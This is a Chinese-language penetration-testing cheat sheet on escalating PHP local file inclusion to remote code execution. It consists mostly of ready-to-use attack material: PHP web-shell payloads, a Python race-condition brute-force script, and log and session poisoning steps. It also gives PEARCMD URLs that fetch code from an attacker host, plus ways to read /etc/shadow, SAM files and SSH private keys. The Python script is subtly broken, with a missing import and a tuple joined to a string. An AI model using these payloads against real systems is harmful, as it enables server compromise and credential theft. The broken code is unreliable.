从 LFI 到 RCE (LFI to RCE)
LFI(本地文件包含)漏洞发生在 Web 应用程序从本地文件系统包含文件时,通常是因为对用户输入的不安全处理。如果攻击者可以控制文件路径,则可能会包含敏感或危险的文件,如系统文件 (/etc/passwd)、配置文件,甚至可能导致远程代码执行 (RCE) 的恶意文件。
摘要 (Summary)
- 通过 /proc/*/fd 从 LFI 到 RCE
- 通过 /proc/self/environ 从 LFI 到 RCE
- 通过 iconv 从 LFI 到 RCE
- 通过文件上传从 LFI 到 RCE
- 通过文件上传从 LFI 到 RCE (条件竞争)
- 通过文件上传从 LFI 到 RCE (FindFirstFile)
- 通过 phpinfo() 从 LFI 到 RCE
- 通过受控日志文件从 LFI 到 RCE
- 通过 PHP 会话从 LFI 到 RCE
- 通过 PHP PEARCMD 从 LFI 到 RCE
- 通过凭据文件从 LFI 到 RCE
通过 /proc/*/fd 从 LFI 到 RCE
- 上传大量的 shell(例如:100 个)。
- 包含
/proc/$PID/fd/$FD,其中$PID是进程的 PID,$FD是文件描述符。两者都可以进行暴力破解。
通过 /proc/self/environ 从 LFI 到 RCE
类似于利用日志文件,在 User-Agent 标头中发送 Payload,它会反射在 /proc/self/environ 文件中。
通过 iconv 从 LFI 到 RCE
使用 iconv 过滤器触发 glibc 中的带外写入 (OOB) (CVE-2024-2961),然后利用 LFI 从 /proc/self/maps 读取内存区域并下载 glibc 二进制文件。最后,通过利用 zend_mm_heap 结构,将 free() 重映射到 system(利用 custom_heap._free)来实现 RCE。
要求:
- PHP 7.0.0 (2015) 至 8.3.7 (2024)
- GNU C 库 (
glibc) <= 2.39 - 能够访问
convert.iconv,zlib.inflate,dechunk过滤器
利用工具:
通过文件上传从 LFI 到 RCE
如果您可以上传文件,只需在其中注入 Shell Payload(例如:<?php system($_GET['c']); ?>)。
为了保持文件可读性,最好将 Payload 注入到图片/文档/PDF 的元数据中。
通过文件上传从 LFI 到 RCE (条件竞争)
- 上传一个文件并触发自包含 (self-inclusion)。
- 多次重复上传以:
- 增加赢得条件竞争的几率
- 增加猜测几率
- 对
/tmp/php[0-9a-zA-Z]{6}的包含路径进行暴力破解。 - 享受您的 Shell。
import itertools
import requests
import sys
print('[+] 正在尝试赢得条件竞争')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] 正在对包含路径进行暴力破解')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] 成功获得 Shell: ' + url)
sys.exit(0)
print('[x] 出错了,请重试')
通过文件上传从 LFI 到 RCE (FindFirstFile)
仅适用于 Windows
在 Windows 系统中,FindFirstFile 允许在 LFI 路径中使用掩码(<< 代表 *,> 代表 ?)。掩码本质上是一种可以包含通配符的搜索模式,允许用户或开发人员根据部分名称或类型搜索文件或目录。在 FindFirstFile 的上下文中,掩码用于过滤和匹配文件或目录的名称。
*/<<:代表任何字符序列。?/>:代表任何单个字符。
上传一个文件,它应该存储在临时文件夹 C:\Windows\Temp\ 中,生成的名称类似于 php[A-F0-9]{4}.tmp。
然后,要么暴力破解 65536 个文件名,要么使用通配符,例如:http://site/vuln.php?inc=c:\windows\temp\php<<
通过 phpinfo() 从 LFI 到 RCE
phpinfo() 会显示任何变量的内容,如 $_GET、$_POST 和 $_FILES。
通过向 PHPInfo 脚本发送多个上传 POST 请求,并精心控制读取,可以检索临时文件的名称,并向 LFI 脚本发起请求以指定该临时文件名。
使用脚本 phpInfoLFI.py。
通过受控日志文件从 LFI 到 RCE
只需通过向服务(Apache、SSH 等)发起请求,将您的 PHP 代码附加到日志文件中,然后包含该日志文件。
http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/apache2/access.log
http://example.com/index.php?page=/var/log/apache2/error.log
http://example.com/index.php?page=/var/log/nginx/access.log
http://example.com/index.php?page=/var/log/nginx/error.log
http://example.com/index.php?page=/var/log/vsftpd.log
http://example.com/index.php?page=/var/log/sshd.log
http://example.com/index.php?page=/var/log/mail
http://example.com/index.php?page=/var/log/httpd/error_log
http://example.com/index.php?page=/usr/local/apache/log/error_log
http://example.com/index.php?page=/usr/local/apache2/log/error_log
通过 SSH 实现 RCE
尝试使用 PHP 代码作为用户名进行 SSH 登录:<?php system($_GET["cmd"]);?>。
然后在 Web 应用程序中包含 SSH 日志文件。
通过 邮件实现 RCE
首先使用开放的 SMTP 发送一封电子邮件,然后包含位于 http://example.com/index.php?page=/var/log/mail 的日志文件。
root@kali:~# telnet 10.10.10.10. 25
Trying 10.10.10.10....
Connected to 10.10.10.10..
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo ok
250 straylight
mail from: mail@example.com
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>
data2
.
在某些情况下,您还可以使用 mail 命令行发送邮件。
通过 Apache 日志实现 RCE
在访问日志中污染 User-Agent:
注意:日志会转义双引号,因此请在 PHP Payload 中的字符串使用单引号。
然后通过 LFI 请求日志并执行命令。
通过 PHP 会话实现 RCE
检查网站是否使用 PHP 会话 (PHPSESSID)。
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
在 PHP 中,这些会话存储在 /var/lib/php5/sess_[PHPSESSID] 或 /var/lib/php/sessions/sess_[PHPSESSID] 文件中。
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
将 Cookie 设置为 <?php system('cat /etc/passwd');?>。
使用 LFI 包含 PHP 会话文件。
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
通过 PHP PEARCMD 实现 RCE
PEAR 是 PHP 可重用组件的框架和分发系统。默认情况下,hub.docker.com 上的每个 Docker PHP 镜像都在 /usr/local/lib/php/pearcmd.php 中安装了 pearcmd.php。
pearcmd.php 文件使用 $_SERVER['argv'] 获取其参数。要使此攻击奏效,必须在 PHP 配置 (php.ini) 中将 register_argc_argv 指令设置为 On。
有以下几种利用方式:
- 方法 1:config create
/vuln.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET['cmd'])?>+/tmp/exec.php
/vuln.php?file=/tmp/exec.php&cmd=phpinfo();die();
- 方法 2:man_dir
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+
/vuln.php?file=/tmp/exec.php&c=id
创建的配置文件包含 Web Shell。
#PEAR_Config 0.9
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:29:"<?echo(system($_GET['c']));?>";}
- 方法 3:download(需要外部网络连接)。
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+download+http://<ip>:<port>/exec.php
/vuln.php?file=exec.php&c=id
- 方法 4:install(需要外部网络连接)。请注意,
exec.php位于/tmp/pear/download/exec.php。
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+install+http://<ip>:<port>/exec.php
/vuln.php?file=/tmp/pear/download/exec.php&c=id
通过凭据文件实现 RCE
此方法需要在应用程序中拥有高权限才能读取敏感文件。
Windows 版本
提取 sam 和 system 文件。
http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam
http://example.com/index.php?page=../../../../../../WINDOWS/repair/system
然后从这些文件中提取哈希值 samdump2 SYSTEM SAM > hashes.txt,并使用 hashcat/john 进行破解,或使用哈希传递 (Pass The Hash) 技术进行重放。
Linux 版本
提取 /etc/shadow 文件。
然后破解其中的哈希值,以便通过 SSH 登录机器。
另一种通过 LFI 获得 Linux 机器 SSH 访问权限的方法是读取 SSH 私钥文件:id_rsa。
如果 SSH 处于活跃状态,通过包含 /etc/passwd 的内容检查机器上正在使用的用户,并尝试访问每个具有家目录用户的 /<HOME>/.ssh/id_rsa。
参考资料 (References)
- 借助 PHPINFO() 实现 LFI - Brett Moore - 2011年9月
- 通过 PHP 过滤器从 LFI 到 RCE - HackTricks - 2024年7月19日
- 本地文件包含技巧 - Johan Adriaans - 2007年8月4日
- 通过 rfc1867 文件上传临时文件从 PHP LFI 到任意代码执行 (EN) - Gynvael Coldwind - 2011年3月18日
- 借助 Nginx 实现 PHP LFI - Bruno Bierbaumer - 2021年12月26日
- 通过 PHP 会话从 LFI 升级到 RCE - Reiners - 2017年9月14日